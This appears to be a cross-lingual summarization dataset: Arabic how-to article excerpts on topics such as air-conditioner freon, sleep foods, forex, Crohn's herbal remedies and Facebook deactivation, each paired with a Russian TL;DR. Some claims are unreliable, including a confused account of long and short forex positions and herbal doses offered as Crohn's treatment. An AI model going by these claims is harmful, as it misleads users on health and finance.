نظف مرشح الهواء وعجلة المروحة وملفَيّ التبخير والتكثيف قبل أن تضيف الفريون؛ فإضافته إلى مكيف متسخ الأجزاء قد يؤدي إلى إتلافه. وضع سائل تبريد غير مناسب قد يشعل حريقًا يعرضك لخطر الإصابة ويتلف المكيف، لذا تفقد دليل المستخدم لتعلم إلى أي سائل ستحتاج، فإن أضعته فتفقد اللوحة الملصقة على المكيف بحثًا عن تلك المعلومات، واعلم أن أشهر سائلي تبريد هما (R-22 آر-22 (بالإنجليزية: R-22) و آر 410 إيه (بالإنجليزية: R410A).  يغلب استخدام آر-22 (بالإنجليزية: R-22) في المكيفات القديمة، ويجري استبداله مع الوقت لأنه يتسبب في تآكل طبقة الأوزون.  إن كان آر-22 (بالإنجليزية: R-22) هو السائل الذي يسربه مكيفك فلا بد أن تحل المشكلة بأسرع ما يمكن، حيث أن إجراءات استبداله تؤدي إلى نقص كمياته وزيادة ثمنه باستمرار. ارتد نظارات وقائية وقفازات سميكة ولا تستنشق الفريون مطلقًا فذاك سيودي بحياتك في التو واللحظة، واعلم أن بعض السوائل المبردة تتطلب وقايةً خاصةً لتنفسك؛ لذا يرجى قراءةُ ما أرفق بالعبوة من تعليمات قبل فتحها.  إن لامس الفريون بشرتك فاغسلها بالماء وزر طبيبًا على الفور. يتسبب كل من سائلي آر-717 (بالإنجليزية: R-717) و آر-764 (بالإنجليزية: R-764) في إثارة العينين والرئتين، كما أن آر-717 (بالإنجليزية: R-717) قابل للاشتعال أيضًا؛ لذا تعامل معه بحذر. في دوائر التبريد ينجذب الفريون السائل للمنطقة الأبرد بين ملف التبريد ووحدة التكثيف الخارجية، فإن قلت درجة الحرارة الخارجية عن 13 درجةً مئويةً كانت وحدة التكثيف هي أبرد موضع في الدائرة على الأرجح ولن يتصرف الفريون على نحو سليم في تلك الحالة.

TL;DR in Russian:

Перед добавлением фреона запланируйте или выполните рутинное обслуживание системы. Выберите подходящий хладагент для своего устройства. При работе с хладагентом защитите глаза, кожу и легкие. Перед тем, как продолжить, убедитесь, что температура снаружи выше 13 °C.


نعني بالمخدرة أي ما تحثك على النوم، على سبيل المثال، تحتوي بعض الأطعمة على نسبة عالية من الأحماض الأمينية المحفزة على النوم كالتريبتوفان مثل الجبن والدجاج ومنتجات الصويا والبيض وفول الصويا والسمك واللبن والديك الرومي والمكسرات وزبدة الفول السوداني وحبوب قرع العسل وحبوب السمسم. اختر الأطعمة التي تحتوي على العناصر السابقة لتتناولها على العشاء.  تناول الأطعمة الغنية بالكربوهيدرات المركبة، لتحفيز التريبتوفان بشكل أكثر فاعلية، وقدر منخفض أو ضئيل من البروتينات. تتيح الكربوهيدرات بيئة خصبة للتريبتوفان في المخ، بينما للبروتينات تأثير معاكس عليها.  حدد "وجبة للنوم"والتي تعتمد بشكل رئيسي على الكربوهيدرات المعقدة والتريبتوفان. جرب تناول الباستا مع جبن البارميزان أو الحمص مع خبز القمح أو توست بزبدة الفول السوداني أو نثر بعض من حبوب السمسم على سلطة من قطع التونة مع قطع من خبز القمح أو بطاطا مشوية مع جبن الماعز. قنن الأطعمة التي تتناولها في الوقت المتأخر من بعد الظهر وفي الساعات الأولى من الليل، فمن شأنها أن تؤثر على ساعات نومك. تعطيك الوجبات الخفيفة سبيلًا أفضل حتى تحظى بساعات نوم مريحة، على سبيل المثال، الوجبات عالية السعرات وذات الحجم الكبير تستغرق وقتًا أطول من جهازك الهضمي للعمل عليها وكل الغازات والقرقرة الناتجة عنها قد تبقيك مستيقظًا. يجد بعض الناس الأطعمة الموسمية (كالفلف الحار والثوم) ذات تأثير على نومهم، خاصة لمن يعانون من حرقة المعدة، لذا تجنبهم إن كنت تعاني من حرقة المعدة. القهوة وكافة منتجات الكافيين لها تأثير على أنماط نومك حيث تبقى القهوة بالجسم لمدة ثمان ساعات عقب تناولها، لذا فالفنجان الذي تتناوله عند الظهيرة من شأنه التأثير على نومك أثناء الليل. حاول أن تتخلى عن الكافيين في أواخر الظهيرة والساعات الأولى من الليل وبالطبع قبل النوم. قد يؤدي الكحول أيضًا لفوضى عارمة في أنماط نومك؛ فعند تناولك له ستجد أن النوم يجافيك، وإن نمت ستنام على فترات متقطعة أو ستنام لسويعات قليلة كطرفة عينك، لذا إن كنت تظن أن تناول كأس أو اثنين سيساعدك على النوم سريعًا، فأعلم أن كل ما ستحصل عليه هو الأرق وإرهاق وعدم راحة. يقسم البعض أن تناول الأعشاب الدافئة أو شاي الأعشاب أو كوب اللبن الدافئ يساعدهم على النوم، وأتت الأبحاث لدعم صحة قولهم حيث تحتوي منتجات الألبان وبخاصة اللبن على التربتوفان "من الأحماض الأمينية الأساسية بالجسم التي...

TL;DR in Russian:

Ешьте «усыпляющую» пищу. Ешьте легкую пищу. Воздерживайтесь от кофеина и алкоголя. Попробуйте принимать добавки магния. Посоветуйтесь с врачом относительно снотворных средств.


نقص السوائل فى الجسم يتسبب في جفاف الفم مما يؤدي فى النهاية إلى رائحة نفس كريهة. تناول كميات كبيرة من الماء يساعد فى تمييع وتخفيف أي مواد كيميائية قد تسبب رائحة كريهة في الفم أو المعدة. أظهرت الدراسات العلمية أن تناول 170 جرام تقريبًا من الزبادى شكل يومى يقلل من مسببات الرائحة الكريهة فى الفم. اختر الزبادى التي تحتوى في تكوينها على البكتيريا النشطة مثل : الملبنة البلغارية (Lactobacillus bulgaricus) والبكتيريا العقدية (Streptococcus thermophilus). القشرة الخارجية الغنية بالألياف والتي توجد فى الفاكهة والخضروات تساعد على تنظيف الأسنان، بينما تساعد الفيتامينات ومضادات الأكسدة والأحماض على تحسين صحة الأسنان. إليك بعض الأطعمة التي تفيد الأسنان على وجه الخصوص:  التفاح — يحتوى التفاح على فيتامين سي وهو فيتامين ضروري لصحة اللثة، وأيضَا على حمض الماليك الذي يساعد فى تبييض وتفتيح لون الأسنان.  الجزر— الجزر غني بفيتامين أ والذي يقوى ميناء الأسنان.  الكرفس — مضغ الكرافس ينتج الكثير من اللعاب الذي يضعف ويحد من البكتيريا المسببة للرائحة الكريهة.  الأناناس — يحتوى الأناناس على البروميلين وهو نوع من الأنزيمات البروتينية التى تنظف الفم. هذه الأنواع من الشاى أظهرت قدرة على قتل البكتيريا المسببة للرائحة الكريهة ومنع تكون طبقة البلاك أو الجير. المعدة المضطرية قد تقودك إلى التجشؤ والذي يساهم فى ظهور الرائحة الكريهة. لا تتناول الطعام الذي يسبب اضطراب لمعدتك، وإذا فعلت ذلك استخدم مضادات الحموضة. أما إذا كنت حساسًا تجاه اللاكتوز (أى لا يمكنك تحمله)، جرب تناول الحبوب التي تحتوى على اللاكتاز. كلها قد تسبب رائحة نفس كريهة. ولكن إذا قمت بتناولها، تناول العلكة الخالية من السكر أو اغسل أسنانك بالفرشاة والمعجون لتنعش فمك وتتخلص من الرائحة. الأنظمة الغذائية منخفضة الكربوهيدرات قد تقود إلى فرط كيتون الجسم — حالة مرضية حيث يحرق الجسم الدهون الرئيسية بدلًا من حرق الكربوهيدرات للحصول على الطاقة. قد يكون هذا مفيدًا لنحت الخصر لكنه أيضَا ينتج مواد كيميائية تسمى كيتونات (ketones) والتي تساهم فى جعل رائحة النفس كريهة. لوقف المشكلة، عليك أن تغير نظامك الغذائى أو تقاوم الرائحة الكريهة عن طريق واحدة من هذه الطرق:   اشرب الكثير من الماء لتمييع وتخفيف تأثير الكيتونات. امضغ العلكة الخالية من السكر أو النعناع الخالى من السكر. امضع أوراق النعناع الطازج.

TL;DR in Russian:

Пейте много воды. Ешьте йогурт. Ешьте фрукты и овощи. Пейте черный, зеленый или травяной чаи. Избегайте диспепсии. Избегайте пищи с луком, чесноком или специями. Будьте осторожны с низкоуглеводными диетами.


نمت لهجة الراستا من باطن حركة الراستفارية، وهي حركة دينية اجتماعية نشأت في جاميكا. ومع أنها لم تك منظمة إلى حد كبير، فالرستفاريون متحدين بمعتقدات قوية عديدة.   يكمن الإيمان في جمال تراث السود الأفريقي. ويتمثل في الإيمان براس تافاري "هيلا سيلاسي"، إمبراطور إثيوبيا، كونه المسيح الإنجيلي. كما يشار إليه بالأسد الغازي لسبط يهوذا. وهذا لإنه يُرمز للأسد بالقوة عند الرستفاريين. الإيمان بالعودة إلى الوطن إثيوبيا، والتي يشار إليها أيضًا عند الرستفاريون كونها "صهيون"، الموطن الحقيقي وخلاص السود. الإيمان في السقوط النهائي لـ"Babylon"، العالم الفاسد للرجل الأبيض، وعكس هيكلة السلطة بين العبد والسيد. الإنجيل هو الكتاب المقدس عند الراستفاريين. وهذا هو السبب لامتلاء كلمات بوب مارلي، على سبيل المثال، بمراجع إنجيلية لسفر الخروج والأرض المقدسة. ]  يأخذ الرستفاريون أمر دراسة الإنجيل بجدية ويقتبسون ويناقشون مقاطع دينية إنجيلية. فهم يؤمنون بالكتب المقدسة التي تخبر القصة الحقيقية عن تاريخ الإنسان الأسود. كما أنهم يشعرون بأن القساوسة قد ضلُّوا الناس بإضافة تفسيرات غير صحيحة للإنجيل، خاصة، باستخدام الإنجيل لاستباحة العبودية. يشير الرستا أيضًا إلى وثائق رسمية أخرى مثل The Promised Key و" The Living Testament of Rasta-for-I" (أي "العهد الحي للراستفاري"). مع أن معظم علمائهم اتفقوا على عدم وجود عقيدة مركزية لوجود الرستفارية، كونهم ضد اتباع  أنظمة مؤسسية أو مدارس فكرية. بدلا عن ذلك، فالراستفاريون، يؤمنون بأن الشخص عليه أن ينخرط في التفكير والتفسير لتجربتهم ويكوِّن قناعاته الشخصية بخصوص معتقدات الراستا. يستخدم الرستفاريون هذه الكلمة للإشارة إلى الطعام في حالته العضوية. فطعام "I-tal" لم تمسه الكيماويات الحديثة ولا يحتوي على مواد حافظة أو توابل أو ملح.   يتبع أغلب الراستا تعاليم تناول "I-tal" وقليل منهم نباتي. ويمتنع آكلي اللحوم الراستا عادة عن تناول لحم الخنزير، إذ ينظر إليه على أنه نابش الفضلات من الميتة. يمنع أيضًا شرب الكحول والكافيين والحليب والمشروبات المنكهة مثل الصودا التي لا تعتبر "I-tal". سيقول عادةً الرستفاريون: "Man a rasta man, mi only nyam ital food". وتترجم إلى: "أنا رستا، وآكل فقط الطعام الطبيعي". نعلم جميعًا الصور المألوفة للرستا بجدائلهم الطويلة وهم يدخنون الحشيش أو "الأعشاب" كما يسمونها. فبجانب شعورهم بـ"irie" " أو التحسن،...

TL;DR in Russian:

Узнайте больше про историю растафарианского диалекта. Ознакомьтесь с основными источниками информации о движении растафариан. Учитывайте важность понятия “I-tal”. Поймите роль каннабиса в культуре растафариан. Ознакомьтесь с концепцией вечноживущей жизни - “everliving life”.


نوع العملة التي تنفقها أو تتخلص منها تسمى العملة الأساسية والعملة التي يمكنك شراؤها تسمى "عملة العرض". في تداولات الفوركس، أنت تبيع عملة لشراء الأخرى.  سعر الصرف يخبرك كم تنفق من عملة العرض لشراء العملة الأساسية.  المراكز الطويلة وهي مراكز الشراء تعني إمكانية شراء العملة الأساسية وبيع عملة العرض. بعبارة أخرى: أن تبيع الدولار الأمريكي (العملة الأساسية) لشراء الجنيه الإسترليني (عملة العرض).  المراكز القصيرة أو مراكز البيع  تعني رغبتك في شراء عملة العرض وبيع العملة الأساسية. بعبارة أخرى: أن تبيع الجنيه الإسترليني لشراء الدولار الأمريكي. سعر العطاء أو العرض أو الشراء  هو السعر الذي يكون الوسيط الخاص بك على استعداد لشراء العملة الأساسية عنده مقابل عملة العرض. العطاء هو أفضل سعر ترغب عنده في "بيع" عملة العرض في السوق. سعر الطلب  هو السعر الذي سيقوم الوسيط ببيع العملة الأساسية مقابل عملة العرض عنده. سعر العرض هو أفضل سعر متاح ترغب عنده في الشراء من السوق.  هامش السعر  هو الفرق بين سعر العرض وسعر الطلب. يمكنك أن ترى رقمين لأسعار الفوركس: سعر العطاء على اليسار وسعر الطلب على اليمين. اصنع توقعاتك بشأن الاقتصاد. إذا كنت تعتقد أن اقتصاد الولايات المتحدة سيستمر في الضعف، وهو أمر سيء للاقتصاد الأمريكي، فربما ترغب في بيع الدولار في مقابل عملة البلد التي تتميز باقتصاد قوي. ألقِ نظرة على الوضع التجاري للبلد. إذا كان هناك أي بلد لديها العديد من السلع التي يكثر الطلب عليها، فمن المرجح أن تقوم البلد بتصدير تلك السلع لجني المال. ستعزز هذه الميزة التجارية من اقتصاد البلاد وبالتالي زيادة قيمة العملة. فكر في السياسات. إذا كانت البلد لديها انتخابات، فإن عملة البلد سترتفع قيمتها إذا كان الفائز بالانتخابات لديه خطة ذات مسؤولية مالية. بالمثل، إذا كانت الحكومة تخفف من لوائح النمو الاقتصادي فمن المرجح أن تزداد قيمة العملة. اقرأ التقارير الاقتصادية. على سبيل المثال: تقارير الناتج المحلي الإجمالي لبلد ما أو تقارير العوامل الاقتصادية وتأثيرها على قيمة عملة البلد. النقاط وهي تحسب التغير في القيمة بين عملتين. عادة، نقطة واحد تساوي 0.0001 من التغير في القيمة. على سبيل المثال: إذا كان زوج يورو/دولار يتحرك من 1.546 إلى 1.547، فإن العملة قد ارتفعت 10 نقاط. ضاعف عدد النقاط التي تغيرت في حسابك بتغير سعر الصرف. تلك الحسبة ستخبرك بكمية الارتفاع أو...

TL;DR in Russian:

Ознакомьтесь с основной терминологией рынка форекс. Посмотрите на котировки форекс. Решите, какую валюту вы хотите купить или продать. Научитесь подсчитывать прибыль.


هذا االعلاج العشبي يستخدم عادًة كعلاج منزلي لاضطرابات الهضم مثل داء كرون.  يتم تصنيفه كملطف، وهي المادة التي تدافع عن العضلات الناعمة للمجرى الهضمي المتهيجة والملتهبة، مما يساعد على شفائها وعلاجها. المعدل العلاجي للدردار الزلق هو 60 مجم إلى 320 مجم في اليوم. مسحوق الدردار الزلق يمكن خلطه مع كوب من الماء ويمكن أخذه 3 إلى 4 مرات يوميًا. هذا ليس نفس حلوى الخطمى التي يحبها الأطفال. هذا هو العشب الخالد الذي يستخدم لعلاج مشاكل المعدة والأمعاء، مثل تلك التي يسببها داء كرون.   هذا العشب مصنف كملطف مثل الدردار الزلق، الذي يحمي الأنسجة ويسهل علاجها. في نفس الوقت، يعد أيضًا من المطريات (مادة تمنح التزييت) الذي يقوم بتهدئة الأغشية المخاطية للجهاز الهضمي. يتم تناول هذا العشب في صورة شاي عن طريق نقع 2-5 جرام من الأوراق المجففة أو 5 جرام من الجذور المجففة في كوب من الماء المغلي. يتم بعد ذلك تصفية الشاي وتركه ليبرد. يمكن أخذه 3 مرات يوميًا. لكن، يجب تجنب جذر الخطمى إذا كنت تعاني من داء السكري، بما أنه يمكن أن يتسبب في زيادة مستويات سكر الدم. قد يتفاعل مع الأدوية الأخرى التي تؤخذ عن طريق الفم لذا يفضل أن يتم تناوله ساعة قبل أخذ أي دواء فموي آخر. الكركم هو نوع من التوابل المرتبطة بالزنجبيل. يوجد بكميات وفيرة في الكاري.  أوضحت الدراسات أن مرضى داء كرون الذين قاموا بتناول الكركم تم تقليل عوارضهم وحاجتهم للأدوية الأخرى. لذا، نظرًا للخواص المضادة للالتهاب القوية والمضادة للبكتيريا، تم استخدامه كعلاج عشبي لعلاج داء كرون. الجرعة العلاجية المعتادة للكركم هي 1 إلى 2 جرام في اليوم. زيادة استهلاكك للطعام مثل حصة واحد من كاري الدجاج أو الأرز بالكاري يكفي لملاقاة حاجتك اليومية من الكركم. حمض الفوليك والحديد يجب أن يتواجدوا بشكل طبيعي في أجسامنا بالمستويات العادية التي يقوم جسمنا بإنتاج خلايا الدم الصحية اللازمة لتوزيع كميات وفيرة من الأكسجين والعناصر الغذائية لأعضاء الجسم الأخرى.  لسوء الحظ، من يعاني من داء كرون عادًة ما يبتعدون عن الخضروات والمكسرات الصليبية، التي تعد مصادرًا جيدة لحمض الفوليك والحديد. العلاج الجيد هو أخذ مكملات حديد + حمض فوليك بكمية 60 مجم من الحديد و400 ميكروجرام من حمض الفوليك في كبسولة على الأقل مرة يوميًا لتعويض نقص هذه المعادن. نقص فيتامين د تم ربطه بداء كرون وقد يزيد حال الأعراض سوءًا إذا كان لديك المرض بالفعل....

TL;DR in Russian:

Принимайте кору вяза скользкого (ржавого). Принимайте алтей лекарственный. Включите в свой рацион куркуму. Принимайте добавки с фолиевой кислотой и железом. Увеличьте потребление витамина D.


هذا البرنامج عبارة عن برنامج مجاني لا يحتاج لتثبيت يمكنه تحديد واسترجاع مفتاح منتج ويندوز اكس بي. أحدث إصدار هو 2.0 بتاريخ يناير 2017. يمكنك أيضًا تنزيل الإصدار الثابت الأخير 1.75 حيث أن هذا الإصدار تجريبي. يفترض أن ترى هذا الزر أسفل صفحة إصدار البرنامج. ستجد الأيقونة في المكان الذي حفظت فيه البرنامج عند تنزيله (سطح المكتب مثلًا). سيؤدي ذلك إلى فك ضغط محتويات الملف المضغوط إلى سطح المكتب. هذا هو المجلد الذي قمت بفك ضغطه للتو. هذا هو الملف الوحيد بامتداد إي اكس إي في المجلد. يؤدي تشغيل البرنامج إلى عرض مفتاح المنتج خاصة نظام ويندوز اكس بي على الفور مما يسمح لك باستخدام مفتاح المنتج في مساعد التفعيل في المرة القادمة التي يسألك فيها نظام التشغيل عن مفتاح المنتج. احرص على كتابة مفتاح المنتج في مكان خارجي عند رؤيته كإجراء احترازي.

TL;DR in Russian:

Откройте веб-сайт программы Winkey Finder. Щелкните по последней версии Winkey Finder. Нажмите Download Winkey Finder (Скачать Winkey Finder). Щелкните правой кнопкой мыши по архиву Winkey. Нажмите Извлечь все. Дважды щелкните по папке «Winkey Finder». Дважды щелкните по файлу winkeyfinder.exe. Найдите ключ продукта.


هذا التطبيق ذو اللون الأزرق الداكن مع حرف "f" منقوش عليه باللون الأبيض. إذا كنت قد سجلت الدخول لفيسبوك، فسيؤدي بك فتح البرنامج إلى آخر الأخبار. إذا لم تكن قد سجلت دخولك في فيسبوك على جهاز الأندرويد الخاص بك، فقم بإدخال الإيميل وكلمة السر الخاصين بك ثم انقر "تسجيل الدخول" لاستعراض آخر الأخبار. ستجد هذا الزر إما في أسفل يمين الشاشة (في الايفون) أو في أعلى يمين الشاشة (في الأندرويد) . تخط هذه الخطوة في حالة استخدام جهاز أندرويد. ستجد هذا الزر إما في أعلى القائمة المنبثقة (في الايفون) أو في أسفل قائمة الـ ☰ (في الأندرويد) . هذه النافذة بالقرب من الجزء العلوي للشاشة. إنه الاختيار الأخير في هذه الصفحة. ستجد هذا الرابط على يمين عنوان يُدعى "Account". بتنفيذ هذه الخطوة ستنتقل إلى صفحة إلغاء التنشيط. إذا اخترت Other في أسفل قائمة الاختيارات، ستحتاج إلى كتابة سبب إلغاء التنشيط. إذا أردت من فيسبوك إعادة تنشيط حسابك بعد أسبوع أو أقل، انقر This is temporary. I'll be back. ثم حدد عدد الأيام التي تود أي يظل حسابك مغلقًا فيها. إذا كان السبب الذي اخترته يمكن إصلاحه بواسطة فيسبوك، ستتلقى رسالة منبثقة بإجراء بديل (اختياري)، ضغط Close سيغلق هذه النوافذ المنبثقة. لتقوم بذلك، انقر المربعين المجاورين لـ Opt out of receiving future emails from Facebook و Keep me signed into Messenger على التوالي. ستجدها أسفل الصفحة. القيام بذلك سيقوم بإلغاء تنشيط حسابك فورًا.  قد يُطلب منك إدخال كلمة السر مرة أخرى قبل تنفيذ إلغاء التنشيط. يمكنك إعادة تنشيط حسابك مرة أخرى بواسطة تسجيل الدخول مجددًا للفيسبوك في المرة القادمة التي تفتح فيها التطبيق.

TL;DR in Russian:

Запустите приложение Facebook. Нажмите ☰. Прокрутите вниз и нажмите Настройки. Выберите Настройки аккаунта. Нажмите Общие. Коснитесь Управление аккаунтом. Нажмите Деактивировать. Введите пароль, а затем нажмите Продолжить. Укажите причину деактивации учетной записи. Нажмите Закрыть, если будет предложено выполнить дополнительное действие. Отключите уведомления по электронной почте и/или Мессенджеру (если хотите). Нажмите Деактивировать.


هذا التطبيق له أيقونة تشبه المجلد في شريط المهام.  يمكنك أيضًا كتابة متصفح الملفات في قائمة ابدأ ثم نقر إدخال. ستجده في العمود الأيسر بالخيارات. في معظم الأحوال سيكون اسمه النظام (C:). يوجد في أعلى يمين نافذة متصفح الملفات. إن لم تعرف اسم العنصر فجرب كتابة علامة النجمة * ثم نوع ملف العنصر (مثل كتابة *.jpg سيظهر لك كل الصور من نوع jpeg ذات امتداد ".jpg"). ستجد عدة ملفات ومجلدات مخفية هنا.   هذه الملفات والمجلدات لا يمكن الوصول إليها عبر البحث في قائمة ابدأ. إن لم ترَ الملف أو المجلد المخفي المرغوب فانقر هذا الكمبيوتر في العمود الأيسر وابحث مجددًا.

TL;DR in Russian:

Откройте Проводник Windows. Щелкните по букве системного диска. Щелкните по строке поиска. Введите имя скрытого элемента. Просмотрите результаты поиска.


هذا القرار هام للغاية؛ ربما القرار الأهم بينك وبين شريك حياتك. بالرغم من تلك الأهمية، يفشل عدد كبير من الأزواج في مناقشة هذا القرار بشكل كافِ قبل محاولة الالتزام بعلاقة أمدية. يمكن أن تمثل عملية تربية الطفل الأمر الأكثر متعة في حياتك، ولكنها مسؤولية كبيرة وتمثل التزام مالي نحوه، وقرار لتحمّل مسؤولية رعايته لمدة لا تقل عن 18 عامًا (وربما أكثر)، فهذا أمر لا يُستهان به.  معظم الأشخاص يرغبون في الحصول على الأطفال في الولايات المتحدة،  ولكن هذا لا يعني الجميع، لذلك لا تضع الافتراضات حول شريك حياتك حتى تتيقن منها. تمثل الثقافة والدين بالنسبة جزء كبير وهام من حياة معظم الأشخاص، ولكن هناك أيضًا الملحد أو الحادي والذي تمثل له الثقافة والدين والتقاليد أمر غير هام. الأمران مقبولان، ولكن يمكن ألا يقبل أحد الطرفين من النوع الأول الطرف الآخر من النوع الثاني على المدى البعيد، لذلك من الضروري قبل الالتزام نحو شخص ما أن تكون فكرة صادقة حول إن كان من الضروري أن يتقبلك الطرف الآخر بشأن هذا الجانب من الحياة.  لمزيد من التوضيح، فالأشخاص من مختلف الأعراق، والديانات، والثقافات لديهم قدرة أكبر على تكوين علاقات سعيدة وطويلة المدى. على سبيل المثال، في الولايات المتحدة الأمريكية، يعتبر الزواج بين الأعراق المختلفة أكثر شيوعًا اليوم عن ذي قبل. يمكن أن يمثل المال مسألة حرجة للتحدث بشأنها، ولكنه أمر هام بالنسبة لكلا الطرفين للاتفاق حوله. يمكن أن يلعب المال دورًا هامًا في طريقة حياة الطرفين؛ حيث يمكن أن يحدد فترة عمل الطرفين، ونوعية الوظائف التي يعملون بها، ونمط الحياة الذي يقبلونه، وغير ذلك الكثير. وجود نقاش صريح حول السُبل التي يخطط لها الطرفان في الاحتفاظ ببعض المال وإنفاق البعض أمر ضروري لأي شخص يفكر في علاقة أمدية.  كمثال على نوع القرارات المالية التي على الطرفين اتخاذها سويًا، يرغب أحد الطرفين في قضاء أواخر العشرينيات وأوائل الثلاثينيات من عمره في الذهاب في العديد من الرحلات واستكشاف العالم بينما يريد الطرف الآخر قضاء هذا الوقت في بناء مستقبل مهني ناجح وادخار بعض الأموال لشراء منزل، فيمكن ألا يستطيع الطرفان استكمال حياتهما مع بعضهما البعض. العائلة تبني الطريقة التي نفكر بها طوال حياتنا. وجود رؤية واضحة حول مدى رغبتك في التوافق بين شريك حياتك وعائلتك ضرورة لأي شخص يفكر في قضاء حياته مع شخص آخر. سوف تحتاج إلى معرفة كل من الدور الذي ترغب...

TL;DR in Russian:

Решите, хотите ли вы иметь детей. Культура и религия. Решите, сколько вы хотите зарабатывать и как будете распоряжаться деньгами. Обсудите роли и отношения в семье. Определите желаемый образ жизни. Выберите, где вы хотите жить.


هذا المقال يهتم بالأساسيات فقط، حيث لم نتحدث عن أكثر من الشكل السطحي للبرمجة بلغة C والمعرفة المتعلقة بذلك. استخدام كتاب مرجعي للغة سوف يساعدك بشكل أكبر على التعلم وحل المشاكل التي تمر بها ويوفر عليك الكثير من الجهد والعناء أثناء سعيك للعمل والتعلم. هناك العديد من المجتمعات، سواء كانت عبر الإنترنت أو في العالم الحقيقي، المختصة بالبرمجة وكل لغات البرمجة المتعلقة. حاول أن تصل إلى مجموعة من المبرمجين أصحاب العقلية المشابهة لك، حيث تتبادل معهم الأفكار والأكواد التي تقوم بكتابتها. ستجد أنك تتعلم الكثير من الأشياء بمرور الوقت.   حضور مؤتمرات الهاكاثون. الهاكاثون هو حدث يجتمع فيه مبرمجي الكمبيوتر وغيرهم، بغرض تطوير البرمجيات. يشارك في هذه المناسبات الأفراد والفرق المعنية بالعمل على الحلول البرمجية المختلفة، كما يحتوى في أغلب الأحيان على الكثير من الأفكار الخلاقة والإبداعية. يمكنك أن تقابل وتتعرف من خلاله على الكثير من المبرمجين. يتم تنظيم هذه المؤتمرات بشكل منتظم حول العالم وفي مختلف المدن. لست مضطرًا إلى العودة إلى المدرسة أو الالتحاق بكلية لعلوم الكمبيوتر، يمكنك فقط أن تحضر القليل من الدورات التدريبية. سيثري ذلك خبرتك ومعرفتك بشكل أقصى مما تتخيل. لا شيء يتفوق على التدريب العملي سوف الحصول على المساعدة من الأشخاص أصحاب الدراية العالية باللغة. يمكنك أن تبحث عن هذه الدورات في مراكز التدريب المحلية، أو من خلال الجامعات التي تسمح بالحضور كمستمع في البرامج التعليمية التي تنظمها، دون الحاجة إلى تسجيل اسمك بشكل رسمي. ما أن تفهم لغة C بشكل كافي، سيكون من الجيد أن تبدأ في تعلم لغة C++. إنها النسخة الأحدث من لغة C، وتتيح لك المزيد من الخيارات المرنة والحديثة. تم تصميم لغة C++ مع الوضع في الاعتبار المعالجة الأمثل الكائنات Objects، حيث تتيح لك معرفة لغة C++ أن تقوم بعمل برامج قوية وفعالة، تقريبًا لكل أنظمة التشغيل.

TL;DR in Russian:

Подыщите книги по программированию на языке C. Вступите в различные сообщества программистов. Запишитесь на курсы. Подумайте об изучении C++.


هذا النوع من التواصل يسمى "الاتصال التكاملي" ويتضمن مناقشة المشكلات بتفتح وبطريقةٍ غير مهددة للوصول لفهم مشترك، أو لنوعًا من التكامل  التقنيات التكاملية قد أظهرت فعاليتها في الحصول على نتائج إيجابية على المدى الطويل للعلاقات.  على سبيل المثال، إن حاول الشخص الذي جرحته جلب أمثال على مواقف سابقة يعتقد أن لها علاقة بخطائك، اسمح له بالمتابعة حتى ينتهي. توقف برهة قبل أن ترد. فكِّر في كلام الشخص الآخر، وحاول رؤية الموقف من وجهة نظر الشخص الآخر، حتى وإن كنت غير موافق. لا تذعر، لا ترفع صوتك، ولا تهين الشخص الآخر. التواصل الغير شفهي الذي تصدره خلال الاعتذار مهم بقدر الاعتذار الكلامي ذاته، إن لم يكن أهم. تفاد الانحناء أو التراخي، حيث أن هذا قد يبين انغلاقك تجاه المحادثة.   انظر مباشرةً في أعين الشخص بينما تتحدث أو تنصت. اسع لأن يكون التواصل البصري 50% من الوقت على الأقل بينما تتحدث، و70% على الأقل بينما تنصت. تفاد تشبيك أذرعك. هذه علامة على شعورك بالدفاعية وأنك منغلق تجاه الشخص الآخر. حاول إبقاء وجهك مسترخيًا. لست مرغمًا على افتعال ابتسامة، ولكن إن شعرت بتعبير حانق أو غاضب على وجهك، خذ دقيقة لترخي تلك العضلات. استخدم راحة اليد المبسوطة بدلًا من المغلقة إن كنت تريد الإيماء. إن كان الشخص مقرب إليك وكان الأمر لائقًا، استخدم اللمسات لتعبر عن مشاعرك. احتضان، أو لمسة رقيقة للذراع أو اليد، يمكنها إيصال كم يعني الشخص الآخر لك. عبِّر عن تعاطفك تجاه الشخص الآخر. اعترف بالجرح أو الضرر الذي تسببت فيه. اعترف بمشاعر الشخص الآخر لكونها حقيقية وقيمة.   أظهرت الدراسات أنه حين يتم الاعتذار بدافع مشاعر الذنب أو العار، يصبح الشخص الآخر أكثر قابلية لقبول الاعتذار. والعكس صحيح، فالأعذار التي تأتي بدافع الشفقة هي أقل قابلية للقبول، حيث أنها تبدو أقل صدقًا.  على سبيل المثال، ينبغي أن تبدأ اعتذارك بقول "أنا آسف للغاية لجرح مشاعرك البارحة. أنا أشعر بالسوء حيال التسبب لك في الألم." كن محددًا بقدر الإمكان حين تقبل تحمل المسئولية. الاعتذارات المحددة تحمل معنى أكبر للشخص الآخر، لأنها تظهر كيفية إبدائك للاهتمام بالموقف الذي جرحه.   حاول تفادي التعميم. قول شيء يشبه "أنا شخص مريع" ليس حقيقًا، ولا يمت بصلة للتصرف أو الموقف المحدد الذي تسبب في الجرح. التعميم يجعل تحديد المشكلة مستحيلًا؛ فأنت لا تستطيع إصلاح "شخص مريع" بسهولة إصلاح "عدم إبداء الاهتمام...

TL;DR in Russian:

Будьте открыты и постарайтесь расслабиться. Используйте жесты в умеренном количестве. Выразите свое сожаление. Будьте готовы взять на себя ответственность. Укажите, как вы исправите ситуацию. Слушайте другого человека. В конце разговора поблагодарите человека. Будьте терпеливы. Держитесь своего слова.


هذا النوع من المناقشة صعب، لا سيما إذا لم تكن متأكدًا كيف ستكون ردة فعل أبويك عليه. انتظر حتى تشعر أنك مرتاح لإجراء المناقشة. يمكن أن يكون الأمر صعبًا إن كنت تتساءل حول ميولك الجنسية، حيث يحاول أبواك إقناعك بأنك لست مثليًا.  سيسألك أبواك -على الأرجح- أسئلة من نوعية "هل أنت متأكد؟"، فإن أبديت أي تردد حول ميولك الجنسية، فسيكون من الأفضل لك مناقشة مشاعرك وتحفظاتك معهما -  كن على دراية أنهما قد يرغبان في سؤالك عما إذا كنت متأكدًا من مشاعرك فحسب، أما إذا لم تكن متأكدًا بنسبة 100% فلا بأس. قد تكون لديك مشاعر تجاه شاب آخر الآن، لكنك تقرر فيما بعد أنك تفضل النساء؛ فالميول الجنسية يمكن أن تتغير بمرور الوقت. حاول الإفصاح عن ميولك الجنسية أولًا لشخص تعلم أنه متعاطف مع الهويات غير العادية بما أن الإفصاح عن الهوية الجنسية في مجتمعاتنا العربية أمر غير عادي وصعب. مثلًا إذا كان لديك صديق مثلي الجنس أو تعرف 